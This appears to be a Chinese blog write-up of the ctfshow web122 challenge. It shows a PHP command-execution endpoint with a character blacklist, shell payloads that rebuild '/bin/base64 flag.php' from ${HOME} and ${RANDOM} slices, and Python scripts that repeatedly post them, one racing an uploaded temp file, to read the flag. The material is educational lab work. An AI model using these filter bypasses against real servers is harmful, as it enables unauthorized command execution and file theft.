当前位置: 首页 > article >正文

[ctfshow web入门] web122

信息收集

这一题把HOME开放了,把#PWD给过滤了

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

解题

deepseek想了12分钟,也没给我准确的能绕过这个过滤构造出1的方法,答案也是错误的
答案给的>A配合$?可以直接构造1

import requests
from time import sleepurl = "http://aea25cb2-0314-400e-9fb0-a800499dea70.challenge.ctf.show/"  # http不要s
# . /tmp/php?????A ==> . /???/?h??????A
payload = "<A;. ${HOME::$?}???${HOME::$?}????????A"
file = { "file": "tac flag.php" }
data = { "code": payload }for i in range(1000):response = requests.request("POST", url, files=file, data=data)if (len(response.text)) != 3069: # len可能需要微调print(response.text)print(len(response.text))breakprint(i, end=" ")sleep(0.3)

在这里插入图片描述

构造命令

最好不要以4结尾,比较末尾带个4更为常见
/bin/base64 flag.php
/???/???6? ???.???

<A;${HOME::$?}???${HOME::$?}????${RANDOM::$?}? ????.???

要手工一直刷,运气不好得刷近百次所以直接写脚本了,我顺手把base64也解了
要是代码没解密base64,手动解一下就可以了

import requests
from time import sleep
import base64
url = "http://aea25cb2-0314-400e-9fb0-a800499dea70.challenge.ctf.show/"  # http不要s
# . /tmp/php?????A ==> . /???/?h??????A
payload = "<A;${HOME::$?}???${HOME::$?}????${RANDOM::$?}? ????.???"
data = { "code": payload }for i in range(1000):response = requests.request("POST", url, data=data)if (len(response.text)) != 3069: # len可能需要微调string = response.textprint(string)print(len(string))string = string[string.find('</code>')+len('</code>'):string.find('<div align="center">')].replace('\n', '')print(f"\n-------------------\n{string}\ndecode-base64: \n", base64.b64decode(string).decode())breakprint(i, end=" ")sleep(0.3)

在这里插入图片描述


web    目录    web

相关文章:

[ctfshow web入门] web122

信息收集 这一题把HOME开放了&#xff0c;把#和PWD给过滤了 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST[code])){$code$_POST[code];if(!preg_match(/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|US…...

Nginx+Lua 实战避坑:从模块加载失败到版本冲突的深度剖析

Nginx 集成 Lua (通常通过 ngx_http_lua_module 或 OpenResty) 为我们提供了在 Web 服务器层面实现动态逻辑的强大能力。然而,在享受其高性能和灵活性的同时,配置和使用过程中也常常会遇到各种令人头疼的问题。本文将结合实际案例,深入分析在 Nginx+Lua 环境中常见的技术问题…...

LangChain框架-Chain 链详解

摘要 本文基于源码分析与官方文档梳理&#xff0c;系统解析 LangChain 框架中的核心组件 Chain 链&#xff0c;旨在帮助开发者深入理解其设计原理、功能分类及实践应用场景。 作为 LangChain 的核心机制&#xff0c;Chain 链采用管道-过滤器&#xff08;Pipe-Filter&#xff09…...

Java虚拟机 - JVM与Java体系结构

Java虚拟机 JVM与Java体系结构为什么要学习JVMJava与JVM简介Java 语言的核心特性JVM&#xff1a;Java 生态的基石JVM的架构模型基于栈的指令集架构&#xff08;Stack-Based&#xff09;基于寄存器的指令集架构&#xff08;Register-Based&#xff09;JVM生命周期 总结 JVM与Jav…...

elementUI调整滚动条高度后与固定列冲突问题解决

/* 1. 首先确保基础样式生效 */ .el-table.el-table–scrollable-x .el-table__body-wrapper { overflow-x: auto !important; } /* 2. 设置滚动条高度&#xff08;对所有表格生效&#xff09; */ .el-table__body-wrapper::-webkit-scrollbar { height: 10px !important; } …...

基于 nvitop+Prometheus+Grafana 的物理资源与 VLLM 引擎服务监控方案

一、方案背景与目标 在人工智能与高性能计算场景中&#xff0c;对物理资源&#xff08;尤其是 GPU&#xff09;的实时监控以及对 VLLM 引擎服务的性能追踪至关重要。本方案通过整合 nvitop、Prometheus 和 Grafana 三大组件&#xff0c;构建一套完整的监控体系&#xff0c;实现…...

互联网大厂Java求职面试:Spring AI与大模型交互在短视频平台中的应用

互联网大厂Java求职面试&#xff1a;Spring AI与大模型交互在短视频平台中的应用 面试场景设定 郑薪苦&#xff0c;一名有着丰富项目经验但总是能用奇葩比喻解释复杂技术的程序员&#xff0c;正在接受某知名互联网大厂技术总监的面试。 第一轮提问 面试官&#xff1a;假设我…...

【Lua】java 调用redis执行 lua脚本

【Lua】java 调用redis执行 lua脚本 public Object executeLuaScript(String script, List<String> keys, Object... args) {// 注意: 这里 Long.class 是返回值类型, 一定要指定清楚 不然会报错return this.redisTemplate.execute(RedisScript.of(j脚本, Long.class), k…...

【工奥阀门科技有限公司】签约智橙PLM

近日&#xff0c;工奥阀门科技有限公司正式签约了智橙泵阀行业版PLM。 忠于质量&#xff0c;臻于服务&#xff0c;精于研发 工奥阀门科技有限公司&#xff08;以下简称工奥阀门&#xff09;坐落于浙江永嘉&#xff0c;是一家集设计、开发、生产、销售、安装、服务为一体的阀门…...

灌区量测水自动化监测解决方案

一、方案背景 随着社会发展和人口增长&#xff0c;水资源需求不断增大。我国水资源总量虽然丰富&#xff0c;但时空分布不均&#xff0c;加之农业用水占比大且效率偏低&#xff0c;使得水资源短缺问题日益凸显。农业用水一直是我国的耗水大户&#xff0c;占全部耗水总量的60%以…...

SpringBoot整合MQTT实战:基于EMQX构建高可靠物联网通信,从零到一实现设备云端双向对话

一、引言 随着物联网(IoT)技术的快速发展&#xff0c;MQTT(Message Queuing Telemetry Transport)协议因其轻量级、低功耗和高效的特点&#xff0c;已成为物联网设备通信的事实标准。本文将详细介绍如何使用SpringBoot框架整合MQTT协议&#xff0c;基于开源MQTT代理EMQX实现设…...

AI与机器学习深度集成:从设备端能力爆发到开发工具智能化

简介 AI与机器学习技术正以惊人的速度在移动开发领域深入集成,设备端AI能力爆发与AI辅助开发工具的崛起,为开发者带来了前所未有的高效开发体验和应用创新机遇。本文将全面解析Google最新AI技术栈(包括ML Kit 2.0和Gemini Nano模型)的特性与应用场景,探索Android Studio …...

界面控件DevExpress WinForms v24.2 - 数据处理功能增强

DevExpress WinForms拥有180组件和UI库&#xff0c;能为Windows Forms平台创建具有影响力的业务解决方案。DevExpress WinForms能完美构建流畅、美观且易于使用的应用程序&#xff0c;无论是Office风格的界面&#xff0c;还是分析处理大批量的业务数据&#xff0c;它都能轻松胜…...

Linux的MySQL头文件和找不到头文件问题解决

头文件 #include <iostream> #include <mysql_driver.h> #include <mysql_connection.h> #include <cppconn/statement.h> #include <cppconn/resultset.h> #include <cppconn/prepared_statement.h> #include <cppconn/exception.h&g…...

wps excel将表格输出pdf时所有列在一张纸上

记录&#xff1a;wps excel将表格输出pdf时所有列在一张纸上 1&#xff0c;调整缩放比例&#xff0c;或选择将所有列打印在一页 2&#xff0c;将表格的所有铺满到这套虚线...

zabbix7.2最新版本 nginx自定义监控(三) 设置触发器

安装zabbix-get服务 在zabbix-server端口安装zabbix-get服务 [rootlocalhost ~]# dnf install -y zabbix-get Last metadata expiration check: 1:55:49 ago on Wed 14 May 2025 09:24:49 AM CST. Dependencies resolved. Package Architectur…...

CDN加速对云手机延迟的影响

一、CDN加速对云手机延迟的核心作用 缩短物理距离&#xff0c;降低网络延迟 CDN通过全球分布的节点&#xff0c;将云手机的服务内容&#xff08;如应用数据、画面流&#xff09;缓存至离用户最近的服务器&#xff0c;减少数据传输的物理距离。例如&#xff0c;用户在中国访问美…...

为什么 Docker 建议关闭 Swap

在使用 Docker 时&#xff0c;关闭系统 Swap&#xff08;交换分区&#xff09; 是一个常见的推荐做法&#xff0c;尤其是在生产环境中。虽然 Docker 不强制要求禁用 Swap&#xff0c;但出于性能、稳定性、可控性和资源管理的目的&#xff0c;通常建议这样做。 为什么 Docker 建…...

缓存的相关内容

缓存是一种介于数据永久存储介质与数据应用之间数据临时的存储介质 实用化保存可以有效地减少低俗数据读取的次数 (例如磁盘IO), 提高系统性能 缓存不仅可以用于提高永久性存储介质的数据读取效率&#xff0c;还可以提供临时的数据存储空间 spring boot中提供了缓存技术, 方便…...

[ctfshow web入门] web77

信息收集 上一题的读取flag方式不能用了&#xff0c;使用后的回显是&#xff1a;could not find driver 解题 同样的查目录方法 cvar_export(scandir("glob:///*"));die();cforeach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString…...

C++学习-入门到精通-【7】类的深入剖析

C学习-入门到精通-【7】类的深入剖析 类的深入剖析 C学习-入门到精通-【7】类的深入剖析一、Time类的实例研究二、组成和继承三、类的作用域和类成员的访问类作用域和块作用域圆点成员选择运算符(.)和箭头成员选择运算符(->)访问函数和工具函数 四、具有默认实参的构造函数重…...

API 加速方案:如何使用 Redis 与 Memcached 进行高效缓存优化

API 加速方案:如何使用 Redis 与 Memcached 进行高效缓存优化 1. 引言 在现代 Web 开发中,API 响应速度至关重要。用户期望实时访问数据,而后端服务可能受到数据库查询、计算开销或网络传输的限制。这时候,缓存技术可以有效减少 API 延迟,提升系统性能。 本篇文章将深入…...

主成分分析的应用之sklearn.decomposition模块的PCA函数

主成分分析的应用之sklearn.decomposition模块的PCA函数 一、模型建立整体步骤 二、数据 2297.86 589.62 474.74 164.19 290.91 626.21 295.20 199.03 2262.19 571.69 461.25 185.90 337.83 604.78 354.66 198.96 2303.29 589.99 516.21 236.55 403.92 730.05 438.41 225.80 …...

1. Go 语言环境安装

&#x1f451; 博主简介&#xff1a;高级开发工程师 &#x1f463; 出没地点&#xff1a;北京 &#x1f48a; 人生目标&#xff1a;自由 ——————————————————————————————————————————— 版权声明&#xff1a;本文为原创文章&#xf…...

IP协议深度解析:互联网世界的核心基石

作为互联网通信的基础协议&#xff0c;IP&#xff08;Internet Protocol&#xff09;承载着全球99%的网络数据流量。本文将深入剖析IP协议的核心特性、工作原理及演进历程&#xff0c;通过技术原理、协议对比和实战案例分析&#xff0c;为您揭示这个数字世界"隐形交通规则…...

Oracle DBMS_STATS.GATHER_DATABASE_STATS 默认行为

Oracle DBMS_STATS.GATHER_DATABASE_STATS 默认行为 DBMS_STATS.GATHER_DATABASE_STATS的默认选项究竟是’GATHER’还是’GATHER AUTO’&#xff1f;这个问题非常重要&#xff0c;因为理解默认行为直接影响统计信息收集策略。 一 官方文档确认 根据Oracle 19c官方文档&#…...

C++天空之城的树 全国信息素养大赛复赛决赛 C++小学/初中组 算法创意实践挑战赛 内部集训模拟题详细解析

C++天空之城的树 全国青少年信息素养大赛 C++复赛/决赛模拟练习题 博主推荐 所有考级比赛学习相关资料合集【推荐收藏】1、C++专栏 电子学会C++一级历年真题解析...

HTTP 请求走私(HTTP Request Smuggling)

HTTP 请求走私&#xff08;HTTP Request Smuggling&#xff09;是一种通过利用前端代理&#xff08;如负载均衡器、CDN&#xff09;和后端服务器在 解析 HTTP 请求时存在不一致性 的漏洞&#xff0c;从而实现 注入恶意请求 的攻击技术。 一、基本原理 HTTP 请求走私主要依赖两…...

基于WebRTC的实时语音对话系统:从语音识别到AI回复

基于WebRTC的实时语音对话系统&#xff1a;从语音识别到AI回复 在当今数字化时代&#xff0c;实时语音交互已成为人机界面的重要组成部分。本文将深入探讨一个基于WebRTC技术的实时语音对话系统&#xff0c;该系统集成了语音识别(ASR)、大语言模型(LLM)和语音合成(TTS)技术&am…...

typeof运算符和深拷贝

typeof运算符 识别所有值类型识别函数判断是否是引用类型&#xff08;不可再细分&#xff09; //判断所有值类型 let a; typeof a //undefined const strabc; typeof str //string const n100; typeof n //number const …...